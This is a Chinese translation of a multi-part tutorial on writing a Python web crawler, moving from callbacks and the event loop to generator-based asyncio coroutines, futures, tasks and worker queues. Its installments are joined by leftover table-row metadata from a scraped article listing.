不像我们前面那个快速轮转的循环,这里的 `select` 调用会暂停,等待下一个 I/O 事件,接着执行等待这些事件的回调函数。没有完成的操作会保持挂起,直到进到下一个事件循环时执行。
到目前为止我们展现了什么?我们展示了如何开始一个 I/O 操作和当操作准备好时调用回调函数。异步*框架*,它在单线程中执行并发操作,其建立在两个功能之上,非阻塞套接字和事件循环。
我们这里达成了“<ruby> 并发性 <rp> ( </rp> <rt> concurrency </rt> <rp> ) </rp></ruby>”,但不是传统意义上的“<ruby> 并行性 <rp> ( </rp> <rt> parallelism </rt> <rp> ) </rp></ruby>”。也就是说,我们构建了一个可以进行重叠 I/O 的微小系统,它可以在其它操作还在进行的时候就开始一个新的操作。它实际上并没有利用多核来并行执行计算。这个系统是用于解决<ruby> I/O 密集 <rp> ( </rp> <rt> I/O-bound </rt> <rp> ) </rp></ruby>问题的,而不是解决 <ruby> CPU 密集 <rp> ( </rp> <rt> CPU-bound </rt> <rp> ) </rp></ruby>问题的。(Python 的全局解释器锁禁止在一个进程中以任何方式并行执行 Python 代码。在 Python 中并行化 CPU 密集的算法需要多个进程,或者以将该代码移植为 C 语言并行版本。但是这是另外一个话题了。)
所以,我们的事件循环在并发 I/O 上是有效的,因为它并不用为每个连接拨付线程资源。但是在我们开始前,我们需要澄清一个常见的误解:异步比多线程快。通常并不是这样的,事实上,在 Python 中,在处理少量非常活跃的连接时,像我们这样的事件循环是慢于多线程的。在运行时环境中是没有全局解释器锁的,在同样的负载下线程会执行的更好。异步 I/O 真正适用于事件很少、有许多缓慢或睡眠的连接的应用程序。(Jesse 在“[什么是异步,它如何工作,什么时候该用它?](http://pyvideo.org/video/2565/what-is-async-how-does-it-work-and-when-should)”一文中指出了异步所适用和不适用的场景。Mike Bayer 在“[异步 Python 和数据库](http://techspot.zzzeek.org/2015/02/15/asynchronous-python-and-databases/)”一文中比较了不同负载情况下异步 I/O 和多线程的不同。)
### 回调
用我们刚刚建立的异步框架,怎么才能完成一个网络爬虫?即使是一个简单的网页下载程序也是很难写的。
首先,我们有一个尚未获取的 URL 集合,和一个已经解析过的 URL 集合。
```
urls_todo = set(['/'])
seen_urls = set(['/'])
```
`seen_urls` 集合包括 `urls_todo` 和已经完成的 URL。用根 URL `/` 初始化它们。
获取一个网页需要一系列的回调。在套接字连接建立时会触发 `connected` 回调,它向服务器发送一个 GET 请求。但是它要等待响应,所以我们需要注册另一个回调函数;当该回调被调用,它仍然不能读取到完整的请求时,就会再一次注册回调,如此反复。
让我们把这些回调放在一个 `Fetcher` 对象中,它需要一个 URL,一个套接字,还需要一个地方保存返回的字节:
```
class Fetcher:
def __init__(self, url):
self.response = b'' # Empty array of bytes.
self.url = url
self.sock = None
```
我们的入口点在 `Fetcher.fetch`:
```
# Method on Fetcher class.
def fetch(self):
self.sock = socket.socket()
self.sock.setblocking(False)
try:
self.sock.connect(('xkcd.com', 80))
except BlockingIOError:
pass
# Register next callback.
selector.register(self.sock.fileno(),
EVENT_WRITE,
self.connected)
```
`fetch` 方法从连接一个套接字开始。但是要注意这个方法在连接建立前就返回了。它必须将控制返回到事件循环中等待连接建立。为了理解为什么要这样做,假设我们程序的整体结构如下:
```
# Begin fetching http://xkcd.com/353/
fetcher = Fetcher('/353/')
fetcher.fetch()
while True:
events = selector.select()
for event_key, event_mask in events:
callback = event_key.data
callback(event_key, event_mask)
```
当调用 `select` 函数后,所有的事件提醒才会在事件循环中处理,所以 `fetch` 必须把控制权交给事件循环,这样我们的程序才能知道什么时候连接已建立,接着循环调用 `connected` 回调,它已经在上面的 `fetch` 方法中注册过。
这里是我们的 `connected` 方法的实现:
```
# Method on Fetcher class.
def connected(self, key, mask):
print('connected!')
selector.unregister(key.fd)
request = 'GET {} HTTP/1.0\r\nHost: xkcd.com\r\n\r\n'.format(self.url)
self.sock.send(request.encode('ascii'))
# Register the next callback.
selector.register(key.fd,
EVENT_READ,
self.read_response)
```
这个方法发送一个 GET 请求。一个真正的应用会检查 `send` 的返回值,以防所有的信息没能一次发送出去。但是我们的请求很小,应用也不复杂。它只是简单的调用 `send`,然后等待响应。当然,它必须注册另一个回调并把控制权交给事件循环。接下来也是最后一个回调函数 `read_response`,它处理服务器的响应:
```
# Method on Fetcher class.
def read_response(self, key, mask):
global stopped
chunk = self.sock.recv(4096) # 4k chunk size.
if chunk:
self.response += chunk
else:
selector.unregister(key.fd) # Done reading.
links = self.parse_links()
# Python set-logic:
for link in links.difference(seen_urls):
urls_todo.add(link)
Fetcher(link).fetch() # <- New Fetcher.
seen_urls.update(links)
urls_todo.remove(self.url)
if not urls_todo:
stopped = True
```
这个回调在每次 `selector` 发现套接字*可读*时被调用,可读有两种情况:套接字接受到数据或它被关闭。
这个回调函数从套接字读取 4K 数据。如果不到 4k,那么有多少读多少。如果比 4K 多,`chunk` 中只包 4K 数据并且这个套接字保持可读,这样在事件循环的下一个周期,会再次回到这个回调函数。当响应完成时,服务器关闭这个套接字,`chunk` 为空。
这里没有展示的 `parse_links` 方法,它返回一个 URL 集合。我们为每个新的 URL 启动一个 fetcher。注意一个使用异步回调方式编程的好处:我们不需要为共享数据加锁,比如我们往 `seen_urls` 增加新链接时。这是一种非抢占式的多任务,它不会在我们代码中的任意一个地方被打断。
我们增加了一个全局变量 `stopped`,用它来控制这个循环:
```
stopped = False
def loop():
while not stopped:
events = selector.select()
for event_key, event_mask in events:
callback = event_key.data
callback()
```
一旦所有的网页被下载下来,fetcher 停止这个事件循环,程序退出。
这个例子让异步编程的一个问题明显的暴露出来:意大利面代码。
我们需要某种方式来表达一系列的计算和 I/O 操作,并且能够调度多个这样的系列操作让它们并发的执行。但是,没有线程你不能把这一系列操作写在一个函数中:当函数开始一个 I/O 操作,它明确的把未来所需的状态保存下来,然后返回。你需要考虑如何写这个状态保存的代码。
让我们来解释下这到底是什么意思。先来看一下在线程中使用通常的阻塞套接字来获取一个网页时是多么简单。
```
# Blocking version.
def fetch(url):
sock = socket.socket()
sock.connect(('xkcd.com', 80))
request = 'GET {} HTTP/1.0\r\nHost: xkcd.com\r\n\r\n'.format(url)
sock.send(request.encode('ascii'))
response = b''
chunk = sock.recv(4096)
while chunk:
response += chunk
chunk = sock.recv(4096)
# Page is now downloaded.
links = parse_links(response)
q.add(links)
```
在一个套接字操作和下一个操作之间这个函数到底记住了什么状态?它有一个套接字,一个 URL 和一个可增长的 `response`。运行在线程中的函数使用编程语言的基本功能来在栈中的局部变量保存这些临时状态。这样的函数也有一个“continuation”——它会在 I/O 结束后执行这些代码。运行时环境通过线程的指令指针来记住这个 continuation。你不必考虑怎么在 I/O 操作后恢复局部变量和这个 continuation。语言本身的特性帮你解决。
但是用一个基于回调的异步框架时,这些语言特性不能提供一点帮助。当等待 I/O 操作时,一个函数必须明确的保存它的状态,因为它会在 I/O 操作完成之前返回并清除栈帧。在我们基于回调的例子中,作为局部变量的替代,我们把 `sock` 和 `response` 作为 Fetcher 实例 `self` 的属性来存储。而作为指令指针的替代,它通过注册 `connected` 和 `read_response` 回调来保存它的 continuation。随着应用功能的增长,我们需要手动保存的回调的复杂性也会增加。如此繁复的记账式工作会让编码者感到头痛。
更糟糕的是,当我们的回调函数抛出异常会发生什么?假设我们没有写好 `parse_links` 方法,它在解析 HTML 时抛出异常:
```
Traceback (most recent call last):
File "loop-with-callbacks.py", line 111, in <module>
loop()
File "loop-with-callbacks.py", line 106, in loop
callback(event_key, event_mask)
File "loop-with-callbacks.py", line 51, in read_response
links = self.parse_links()
File "loop-with-callbacks.py", line 67, in parse_links
raise Exception('parse error')
Exception: parse error
```
这个堆栈回溯只能显示出事件循环调用了一个回调。我们不知道是什么导致了这个错误。这条链的两边都被破坏:不知道从哪来也不知到哪去。这种丢失上下文的现象被称为“<ruby> 堆栈撕裂 <rp> ( </rp> <rt> stack ripping </rt> <rp> ) </rp></ruby>”,经常会导致无法分析原因。它还会阻止我们为回调链设置异常处理,即那种用“try / except”块封装函数调用及其调用树。(对于这个问题的更复杂的解决方案,参见 <http://www.tornadoweb.org/en/stable/stack_context.html> )
所以,除了关于多线程和异步哪个更高效的长期争议之外,还有一个关于这两者之间的争论:谁更容易跪了。如果在同步上出现失误,线程更容易出现数据竞争的问题,而回调因为"<ruby> 堆栈撕裂 <rp> ( </rp> <rt> stack ripping </rt> <rp> ) </rp></ruby>"问题而非常难于调试。
(题图素材来自:[ruth-tay.deviantart.com](http://ruth-tay.deviantart.com/art/Bearded-Vulture-553800995))
---
via: <http://aosabook.org/en/500L/pages/a-web-crawler-with-asyncio-coroutines.html>
作者:A. Jesse Jiryu Davis , Guido van Rossum 译者:[qingyunha](https://github.com/qingyunha) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,266 | 一个使用 asyncio 协程的网络爬虫(二) | http://aosabook.org/en/500L/pages/a-web-crawler-with-asyncio-coroutines.html | 2017-03-05T10:27:00 | [
"Python",
"回调",
"异步",
"爬虫",
"协程",
"asyncio"
] | https://linux.cn/article-8266-1.html |
>
> 本文作者:
>
>
> A. Jesse Jiryu Davis 是纽约 MongoDB 的工程师。他编写了异步 MongoDB Python 驱动程序 Motor,也是 MongoDB C 驱动程序的开发领袖和 PyMongo 团队成员。 他也为 asyncio 和 Tornado 做了贡献,在 <http://emptysqua.re> 上写作。
>
>
> Guido van Rossum 是主流编程语言 Python 的创造者,Python 社区称他为 BDFL (仁慈的终生大独裁者 (Benevolent Dictator For Life))——这是一个来自 Monty Python 短剧的称号。他的主页是 [http://www.python.org/~guido/](http://www.python.org/%7Eguido/) 。
>
>
>
###
### 协程
还记得我们对你许下的承诺么?我们可以写出这样的异步代码,它既有回调方式的高效,也有多线程代码的简洁。这个结合是同过一种称为<ruby> 协程 <rp> ( </rp> <rt> coroutine </rt> <rp> ) </rp></ruby>的模式来实现的。使用 Python3.4 标准库 asyncio 和一个叫“aiohttp”的包,在协程中获取一个网页是非常直接的( `@asyncio.coroutine` 修饰符并非魔法。事实上,如果它修饰的是一个生成器函数,并且没有设置 `PYTHONASYNCIODEBUG` 环境变量的话,这个修饰符基本上没啥用。它只是为了框架的其它部分方便,设置了一个属性 `_is_coroutine` 而已。也可以直接使用 asyncio 和裸生成器,而没有 `@asyncio.coroutine` 修饰符):
```
@asyncio.coroutine
def fetch(self, url):
response = yield from self.session.get(url)
body = yield from response.read()
```
它也是可扩展的。在作者 Jesse 的系统上,与每个线程 50k 内存相比,一个 Python 协程只需要 3k 内存。Python 很容易就可以启动上千个协程。
协程的概念可以追溯到计算机科学的远古时代,它很简单,一个可以暂停和恢复的子过程。线程是被操作系统控制的抢占式多任务,而协程的多任务是可合作的,它们自己选择什么时候暂停去执行下一个协程。
有很多协程的实现。甚至在 Python 中也有几种。Python 3.4 标准库 asyncio 中的协程是建立在生成器之上的,这是一个 Future 类和“yield from”语句。从 Python 3.5 开始,协程变成了语言本身的特性([“PEP 492 Coroutines with async and await syntax”](https://www.python.org/dev/peps/pep-0492/) 中描述了 Python 3.5 内置的协程)。然而,理解 Python 3.4 中这个通过语言原有功能实现的协程,是我们处理 Python 3.5 中原生协程的基础。
要解释 Python 3.4 中基于生成器的协程,我们需要深入生成器的方方面面,以及它们是如何在 asyncio 中用作协程的。我很高兴就此写点东西,想必你也希望继续读下去。我们解释了基于生成器的协程之后,就会在我们的异步网络爬虫中使用它们。
### 生成器如何工作
在你理解生成器之前,你需要知道普通的 Python 函数是怎么工作的。正常情况下,当一个函数调用一个子过程,这个被调用函数获得控制权,直到它返回或者有异常发生,才把控制权交给调用者:
```
>>> def foo():
... bar()
...
>>> def bar():
... pass
```
标准的 Python 解释器是用 C 语言写的。一个 Python 函数被调用所对应的 C 函数是 `PyEval_EvalFrameEx`。它获得一个 Python 栈帧结构并在这个栈帧的上下文中执行 Python 字节码。这里是 `foo` 函数的字节码:
```
>>> import dis
>>> dis.dis(foo)
2 0 LOAD_GLOBAL 0 (bar)
3 CALL_FUNCTION 0 (0 positional, 0 keyword pair)
6 POP_TOP
7 LOAD_CONST 0 (None)
10 RETURN_VALUE
```
`foo` 函数在它栈中加载 `bar` 函数并调用它,然后把 `bar` 的返回值从栈中弹出,加载 `None` 值到堆栈并返回。
当 `PyEval_EvalFrameEx` 遇到 `CALL_FUNCTION` 字节码时,它会创建一个新的栈帧,并用这个栈帧递归的调用 `PyEval_EvalFrameEx` 来执行 `bar` 函数。
非常重要的一点是,Python 的栈帧在堆中分配!Python 解释器是一个标准的 C 程序,所以它的栈帧是正常的栈帧。但是 Python 的栈帧是在堆中处理。这意味着 Python 栈帧在函数调用结束后依然可以存在。我们在 `bar` 函数中保存当前的栈帧,交互式的看看这种现象:
```
>>> import inspect
>>> frame = None
>>> def foo():
... bar()
...
>>> def bar():
... global frame
... frame = inspect.currentframe()
...
>>> foo()
>>> # The frame was executing the code for 'bar'.
>>> frame.f_code.co_name
'bar'
>>> # Its back pointer refers to the frame for 'foo'.
>>> caller_frame = frame.f_back
>>> caller_frame.f_code.co_name
'foo'
```

现在该说 Python 生成器了,它使用同样构件——代码对象和栈帧——去完成一个不可思议的任务。
这是一个生成器函数:
```
>>> def gen_fn():
... result = yield 1
... print('result of yield: {}'.format(result))
... result2 = yield 2
... print('result of 2nd yield: {}'.format(result2))
... return 'done'
...
```
在 Python 把 `gen_fn` 编译成字节码的过程中,一旦它看到 `yield` 语句就知道这是一个生成器函数而不是普通的函数。它就会设置一个标志来记住这个事实:
```
>>> # The generator flag is bit position 5.
>>> generator_bit = 1 << 5
>>> bool(gen_fn.__code__.co_flags & generator_bit)
True
```
当你调用一个生成器函数,Python 看到这个标志,就不会实际运行它而是创建一个生成器:
```
>>> gen = gen_fn()
>>> type(gen)
<class 'generator'>
```
Python 生成器封装了一个栈帧和函数体代码的引用:
```
>>> gen.gi_code.co_name
'gen_fn'
```
所有通过调用 `gen_fn` 的生成器指向同一段代码,但都有各自的栈帧。这些栈帧不再任何一个C函数栈中,而是在堆空间中等待被使用:

栈帧中有一个指向“最后执行指令”的指针。初始化为 -1,意味着它没开始运行:
```
>>> gen.gi_frame.f_lasti
-1
```
当我们调用 `send` 时,生成器一直运行到第一个 `yield` 语句处停止,并且 `send` 返回 1,因为这是 `gen` 传递给 `yield` 表达式的值。
```
>>> gen.send(None)
1
```
现在,生成器的指令指针是 3,所编译的Python 字节码一共有 56 个字节:
```
>>> gen.gi_frame.f_lasti
3
>>> len(gen.gi_code.co_code)
56
```
这个生成器可以在任何时候、任何函数中恢复运行,因为它的栈帧并不在真正的栈中,而是堆中。在调用链中它的位置也是不固定的,它不必遵循普通函数先进后出的顺序。它像云一样自由。
我们可以传递一个值 `hello` 给生成器,它会成为 `yield` 语句的结果,并且生成器会继续运行到第二个 `yield` 语句处。
```
>>> gen.send('hello')
result of yield: hello
2
```
现在栈帧中包含局部变量 `result`:
```
>>> gen.gi_frame.f_locals
{'result': 'hello'}
```
其它从 `gen_fn` 创建的生成器有着它自己的栈帧和局部变量。
当我们再一次调用 `send`,生成器继续从第二个 `yield` 开始运行,以抛出一个特殊的 `StopIteration` 异常为结束。
```
>>> gen.send('goodbye')
result of 2nd yield: goodbye
Traceback (most recent call last):
File "<input>", line 1, in <module>
StopIteration: done
```
这个异常有一个值 `"done"`,它就是生成器的返回值。
### 使用生成器构建协程
所以生成器可以暂停,可以给它一个值让它恢复,并且它还有一个返回值。这些特性看起来很适合去建立一个不使用那种乱糟糟的意面似的回调异步编程模型。我们想创造一个这样的“协程”:一个在程序中可以和其他过程合作调度的过程。我们的协程将会是标准库 `asyncio` 中协程的一个简化版本,我们将使用生成器,futures 和 `yield from` 语句。
首先,我们需要一种方法去代表协程所需要等待的 future 事件。一个简化的版本是:
```
class Future:
def __init__(self):
self.result = None
self._callbacks = []
def add_done_callback(self, fn):
self._callbacks.append(fn)
def set_result(self, result):
self.result = result
for fn in self._callbacks:
fn(self)
```
一个 future 初始化为“未解决的”,它通过调用 `set_result` 来“解决”。(这个 future 缺少很多东西,比如说,当这个 future 解决后,<ruby> 生成 <rp> ( </rp> <rt> yield </rt> <rp> ) </rp></ruby>的协程应该马上恢复而不是暂停,但是在我们的代码中却不没有这样做。参见 asyncio 的 Future 类以了解其完整实现。)
让我们用 future 和协程来改写我们的 fetcher。我们之前用回调写的 `fetch` 如下:
```
class Fetcher:
def fetch(self):
self.sock = socket.socket()
self.sock.setblocking(False)
try:
self.sock.connect(('xkcd.com', 80))
except BlockingIOError:
pass
selector.register(self.sock.fileno(),
EVENT_WRITE,
self.connected)
def connected(self, key, mask):
print('connected!')
# And so on....
```
`fetch` 方法开始连接一个套接字,然后注册 `connected` 回调函数,它会在套接字建立连接后调用。现在我们使用协程把这两步合并:
```
def fetch(self):
sock = socket.socket()
sock.setblocking(False)
try:
sock.connect(('xkcd.com', 80))
except BlockingIOError:
pass
f = Future()
def on_connected():
f.set_result(None)
selector.register(sock.fileno(),
EVENT_WRITE,
on_connected)
yield f
selector.unregister(sock.fileno())
print('connected!')
```
现在,`fetch` 是一个生成器,因为它有一个 `yield` 语句。我们创建一个未决的 future,然后 yield 它,暂停 `fetch` 直到套接字连接建立。内联函数 `on_connected` 解决这个 future。
但是当 future 被解决,谁来恢复这个生成器?我们需要一个协程*驱动器*。让我们叫它 “task”:
```
class Task:
def __init__(self, coro):
self.coro = coro
f = Future()
f.set_result(None)
self.step(f)
def step(self, future):
try:
next_future = self.coro.send(future.result)
except StopIteration:
return
next_future.add_done_callback(self.step)
# Begin fetching http://xkcd.com/353/
fetcher = Fetcher('/353/')
Task(fetcher.fetch())
loop()
```
task 通过传递一个 None 值给 `fetch` 来启动它。`fetch` 运行到它 yeild 出一个 future,这个 future 被作为 `next_future` 而捕获。当套接字连接建立,事件循环运行回调函数 `on_connected`,这里 future 被解决,`step` 被调用,`fetch` 恢复运行。
### 用 yield from 重构协程
一旦套接字连接建立,我们就可以发送 HTTP GET 请求,然后读取服务器响应。不再需要哪些分散在各处的回调函数,我们把它们放在同一个生成器函数中:
```
def fetch(self):
# ... connection logic from above, then:
sock.send(request.encode('ascii'))
while True:
f = Future()
def on_readable():
f.set_result(sock.recv(4096))
selector.register(sock.fileno(),
EVENT_READ,
on_readable)
chunk = yield f
selector.unregister(sock.fileno())
if chunk:
self.response += chunk
else:
# Done reading.
break
```
从套接字中读取所有信息的代码看起来很通用。我们能不把它从 `fetch` 中提取成一个子过程?现在该 Python 3 热捧的 `yield from` 登场了。它能让一个生成器*委派*另一个生成器。
让我们先回到原来那个简单的生成器例子:
```
>>> def gen_fn():
... result = yield 1
... print('result of yield: {}'.format(result))
... result2 = yield 2
... print('result of 2nd yield: {}'.format(result2))
... return 'done'
...
```
为了从其他生成器调用这个生成器,我们使用 `yield from` 委派它:
```
>>> # Generator function:
>>> def caller_fn():
... gen = gen_fn()
... rv = yield from gen
... print('return value of yield-from: {}'
... .format(rv))
...
>>> # Make a generator from the
>>> # generator function.
>>> caller = caller_fn()
```
这个 `caller` 生成器的行为的和它委派的生成器 `gen` 表现的完全一致:
```
>>> caller.send(None)
1
>>> caller.gi_frame.f_lasti
15
>>> caller.send('hello')
result of yield: hello
2
>>> caller.gi_frame.f_lasti # Hasn't advanced.
15
>>> caller.send('goodbye')
result of 2nd yield: goodbye
return value of yield-from: done
Traceback (most recent call last):
File "<input>", line 1, in <module>
StopIteration
```
当 `caller` 自 `gen` 生成(`yield`),`caller` 就不再前进。注意到 `caller` 的指令指针保持15不变,就是 `yield from` 的地方,即使内部的生成器 `gen` 从一个 yield 语句运行到下一个 yield,它始终不变。(事实上,这就是“yield from”在 CPython 中工作的具体方式。函数会在执行每个语句之前提升其指令指针。但是在外部生成器执行“yield from”后,它会将其指令指针减一,以保持其固定在“yield form”语句上。然后其生成其 caller。这个循环不断重复,直到内部生成器抛出 StopIteration,这里指向外部生成器最终允许它自己进行到下一条指令的地方。)从 `caller` 外部来看,我们无法分辨 yield 出的值是来自 `caller` 还是它委派的生成器。而从 `gen` 内部来看,我们也不能分辨传给它的值是来自 `caller` 还是 `caller` 的外面。`yield from` 语句是一个光滑的管道,值通过它进出 `gen`,一直到 `gen` 结束。
协程可以用 `yield from` 把工作委派给子协程,并接收子协程的返回值。注意到上面的 `caller` 打印出“return value of yield-from: done”。当 `gen` 完成后,它的返回值成为 `caller` 中 `yield from` 语句的值。
```
rv = yield from gen
```
前面我们批评过基于回调的异步编程模式,其中最大的不满是关于 “<ruby> 堆栈撕裂 <rp> ( </rp> <rt> stack ripping </rt> <rp> ) </rp></ruby>”:当一个回调抛出异常,它的堆栈回溯通常是毫无用处的。它只显示出事件循环运行了它,而没有说为什么。那么协程怎么样?
```
>>> def gen_fn():
... raise Exception('my error')
>>> caller = caller_fn()
>>> caller.send(None)
Traceback (most recent call last):
File "<input>", line 1, in <module>
File "<input>", line 3, in caller_fn
File "<input>", line 2, in gen_fn
Exception: my error
```
这还是非常有用的,当异常抛出时,堆栈回溯显示出 `caller_fn` 委派了 `gen_fn`。令人更欣慰的是,你可以在一次异常处理器中封装这个调用到一个子过程中,像正常函数一样:
```
>>> def gen_fn():
... yield 1
... raise Exception('uh oh')
...
>>> def caller_fn():
... try:
... yield from gen_fn()
... except Exception as exc:
... print('caught {}'.format(exc))
...
>>> caller = caller_fn()
>>> caller.send(None)
1
>>> caller.send('hello')
caught uh oh
```
所以我们可以像提取子过程一样提取子协程。让我们从 fetcher 中提取一些有用的子协程。我们先写一个可以读一块数据的协程 `read`:
```
def read(sock):
f = Future()
def on_readable():
f.set_result(sock.recv(4096))
selector.register(sock.fileno(), EVENT_READ, on_readable)
chunk = yield f # Read one chunk.
selector.unregister(sock.fileno())
return chunk
```
在 `read` 的基础上,`read_all` 协程读取整个信息:
```
def read_all(sock):
response = []
# Read whole response.
chunk = yield from read(sock)
while chunk:
response.append(chunk)
chunk = yield from read(sock)
return b''.join(response)
```
如果你换个角度看,抛开 `yield form` 语句的话,它们就像在做阻塞 I/O 的普通函数一样。但是事实上,`read` 和 `read_all` 都是协程。`yield from` `read` 暂停 `read_all` 直到 I/O 操作完成。当 `read_all` 暂停时,asyncio 的事件循环正在做其它的工作并等待其他的 I/O 操作。`read` 在下次循环中当事件就绪,完成 I/O 操作时,`read_all` 恢复运行。
最终,`fetch` 调用了 `read_all`:
```
class Fetcher:
def fetch(self):
# ... connection logic from above, then:
sock.send(request.encode('ascii'))
self.response = yield from read_all(sock)
```
神奇的是,Task 类不需要做任何改变,它像以前一样驱动外部的 `fetch` 协程:
```
Task(fetcher.fetch())
loop()
```
当 `read` yield 一个 future 时,task 从 `yield from` 管道中接收它,就像这个 future 直接从 `fetch` yield 一样。当循环解决一个 future 时,task 把它的结果送给 `fetch`,通过管道,`read` 接受到这个值,这完全就像 task 直接驱动 `read` 一样:

为了完善我们的协程实现,我们再做点打磨:当等待一个 future 时,我们的代码使用 yield;而当委派一个子协程时,使用 yield from。不管是不是协程,我们总是使用 yield form 会更精炼一些。协程并不需要在意它在等待的东西是什么类型。
在 Python 中,我们从生成器和迭代器的高度相似中获得了好处,将生成器进化成 caller,迭代器也可以同样获得好处。所以,我们可以通过特殊的实现方式来迭代我们的 Future 类:
```
# Method on Future class.
def __iter__(self):
# Tell Task to resume me here.
yield self
return self.result
```
future 的 `__iter__` 方法是一个 yield 它自身的一个协程。当我们将代码替换如下时:
```
# f is a Future.
yield f
```
以及……:
```
# f is a Future.
yield from f
```
……结果是一样的!驱动 Task 从它的调用 `send` 中接收 future,并当 future 解决后,它发回新的结果给该协程。
在每个地方都使用 `yield from` 的好处是什么?为什么比用 `field` 等待 future 并用 `yield from` 委派子协程更好?之所以更好的原因是,一个方法可以自由地改变其实行而不影响到其调用者:它可以是一个当 future 解决后返回一个值的普通方法,也可以是一个包含 `yield from` 语句并返回一个值的协程。无论是哪种情况,调用者仅需要 `yield from` 该方法以等待结果就行。
亲爱的读者,我们已经完成了对 asyncio 协程探索。我们深入观察了生成器的机制,实现了简单的 future 和 task。我们指出协程是如何利用两个世界的优点:比线程高效、比回调清晰的并发 I/O。当然真正的 asyncio 比我们这个简化版本要复杂的多。真正的框架需要处理zero-copy I/0、公平调度、异常处理和其他大量特性。
使用 asyncio 编写协程代码比你现在看到的要简单的多。在前面的代码中,我们从基本原理去实现协程,所以你看到了回调,task 和 future,甚至非阻塞套接字和 `select` 调用。但是当用 asyncio 编写应用,这些都不会出现在你的代码中。我们承诺过,你可以像这样下载一个网页:
```
@asyncio.coroutine
def fetch(self, url):
response = yield from self.session.get(url)
body = yield from response.read()
```
对我们的探索还满意么?回到我们原始的任务:使用 asyncio 写一个网络爬虫。
(题图素材来自:[ruth-tay.deviantart.com](http://ruth-tay.deviantart.com/art/Bearded-Vulture-553800995))
---
via: <http://aosabook.org/en/500L/pages/a-web-crawler-with-asyncio-coroutines.html>
作者:A. Jesse Jiryu Davis , Guido van Rossum 译者:[qingyunha](https://github.com/qingyunha) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,267 | 一个使用 asyncio 协程的网络爬虫(三) | http://aosabook.org/en/500L/pages/a-web-crawler-with-asyncio-coroutines.html | 2017-03-06T10:31:00 | [
"asyncio",
"协程",
"回调",
"异步",
"Python",
"爬虫"
] | https://linux.cn/article-8267-1.html |
>
> 本文作者:
>
>
> A. Jesse Jiryu Davis 是纽约 MongoDB 的工程师。他编写了异步 MongoDB Python 驱动程序 Motor,也是 MongoDB C 驱动程序的开发领袖和 PyMongo 团队成员。 他也为 asyncio 和 Tornado 做了贡献,在 <http://emptysqua.re> 上写作。
>
>
> Guido van Rossum 是主流编程语言 Python 的创造者,Python 社区称他为 BDFL (仁慈的终生大独裁者 (Benevolent Dictator For Life))——这是一个来自 Monty Python 短剧的称号。他的主页是 [http://www.python.org/~guido/](http://www.python.org/%7Eguido/) 。
>
>
>

### 使用协程
我们将从描述爬虫如何工作开始。现在是时候用 asynio 去实现它了。
我们的爬虫从获取第一个网页开始,解析出链接并把它们加到队列中。此后它开始傲游整个网站,并发地获取网页。但是由于客户端和服务端的负载限制,我们希望有一个最大数目的运行的 worker,不能再多。任何时候一个 worker 完成一个网页的获取,它应该立即从队列中取出下一个链接。我们会遇到没有那么多事干的时候,所以一些 worker 必须能够暂停。一旦又有 worker 获取一个有很多链接的网页,队列会突增,暂停的 worker 立马被唤醒干活。最后,当任务完成后我们的程序必须马上退出。
假如你的 worker 是线程,怎样去描述你的爬虫算法?我们可以使用 Python 标准库中的[同步队列](https://docs.python.org/3/library/queue.html)。每次有新的一项加入,队列增加它的 “tasks” 计数器。线程 worker 完成一个任务后调用 `task_done`。主线程阻塞在 `Queue.join`,直到“tasks”计数器与 `task_done` 调用次数相匹配,然后退出。
协程通过 asyncio 队列,使用和线程一样的模式来实现!首先我们[导入它](https://docs.python.org/3/library/asyncio-sync.html):
```
try:
from asyncio import JoinableQueue as Queue
except ImportError:
# In Python 3.5, asyncio.JoinableQueue is
# merged into Queue.
from asyncio import Queue
```
我们把 worker 的共享状态收集在一个 crawler 类中,主要的逻辑写在 `crawl` 方法中。我们在一个协程中启动 `crawl`,运行 asyncio 的事件循环直到 `crawl` 完成:
```
loop = asyncio.get_event_loop()
crawler = crawling.Crawler('http://xkcd.com',
max_redirect=10)
loop.run_until_complete(crawler.crawl())
```
crawler 用一个根 URL 和最大重定向数 `max_redirect` 来初始化,它把 `(URL, max_redirect)` 序对放入队列中。(为什么要这样做,请看下文)
```
class Crawler:
def __init__(self, root_url, max_redirect):
self.max_tasks = 10
self.max_redirect = max_redirect
self.q = Queue()
self.seen_urls = set()
# aiohttp's ClientSession does connection pooling and
# HTTP keep-alives for us.
self.session = aiohttp.ClientSession(loop=loop)
# Put (URL, max_redirect) in the queue.
self.q.put((root_url, self.max_redirect))
```
现在队列中未完成的任务数是 1。回到我们的主程序,启动事件循环和 `crawl` 方法:
```
loop.run_until_complete(crawler.crawl())
```
`crawl` 协程把 worker 们赶起来干活。它像一个主线程:阻塞在 `join` 上直到所有任务完成,同时 worker 们在后台运行。
```
@asyncio.coroutine
def crawl(self):
"""Run the crawler until all work is done."""
workers = [asyncio.Task(self.work())
for _ in range(self.max_tasks)]
# When all work is done, exit.
yield from self.q.join()
for w in workers:
w.cancel()
```
如果 worker 是线程,可能我们不会一次把它们全部创建出来。为了避免创建线程的昂贵代价,通常一个线程池会按需增长。但是协程很廉价,我们可以直接把他们全部创建出来。
怎么关闭这个 `crawler` 很有趣。当 `join` 完成,worker 存活但是被暂停:他们等待更多的 URL,所以主协程要在退出之前清除它们。否则 Python 解释器关闭并调用所有对象的析构函数时,活着的 worker 会哭喊到:
```
ERROR:asyncio:Task was destroyed but it is pending!
```
`cancel` 又是如何工作的呢?生成器还有一个我们还没介绍的特点。你可以从外部抛一个异常给它:
```
>>> gen = gen_fn()
>>> gen.send(None) # Start the generator as usual.
1
>>> gen.throw(Exception('error'))
Traceback (most recent call last):
File "<input>", line 3, in <module>
File "<input>", line 2, in gen_fn
Exception: error
```
生成器被 `throw` 恢复,但是它现在抛出一个异常。如过生成器的调用堆栈中没有捕获异常的代码,这个异常被传递到顶层。所以注销一个协程:
```
# Method of Task class.
def cancel(self):
self.coro.throw(CancelledError)
```
任何时候生成器暂停,在某些 `yield from` 语句它恢复并且抛出一个异常。我们在 task 的 `step` 方法中处理注销。
```
# Method of Task class.
def step(self, future):
try:
next_future = self.coro.send(future.result)
except CancelledError:
self.cancelled = True
return
except StopIteration:
return
next_future.add_done_callback(self.step)
```
现在 task 知道它被注销了,所以当它被销毁时,它不再抱怨。
